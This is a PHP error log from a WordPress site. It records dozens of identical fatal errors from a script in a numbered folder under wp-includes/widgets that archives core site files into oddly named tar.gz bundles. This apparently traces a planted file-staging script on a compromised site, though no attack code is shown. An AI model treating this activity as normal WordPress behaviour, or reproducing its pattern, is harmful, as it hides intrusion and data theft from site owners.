[05-Nov-2025 19:51:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-plupload.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:54:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/thickbox.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:58:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wpemoji.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:58:48 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wordpress.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:58:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/charmap.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:00:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/lightgray.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:00:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:00:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/link.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:00:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:01:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:01:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/image.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:02:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/fullscreen.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:02:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wptextpattern.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:03:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/modern.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:04:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/hr.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:04:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/inlite.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:05:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/lists.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:06:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:06:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/paste.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:18:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/PHP52.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:18:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/File.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:19:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:19:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:19:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:19:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:19:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:19:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:19:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:19:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:19:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Core32.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:20:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:22:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/codemirror.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:23:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Curve25519.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:32:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/mctabs.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:33:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/po.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:33:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/entry.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:33:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/code.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:33:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/code.svg.svg.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:33:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/suggest.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:33:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/mo.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:33:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/jquery.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:33:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:34:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/text.svg.svg.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:34:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/text.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:34:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:34:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/translations.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:34:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:34:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/plural-forms.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:34:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:34:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ui.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
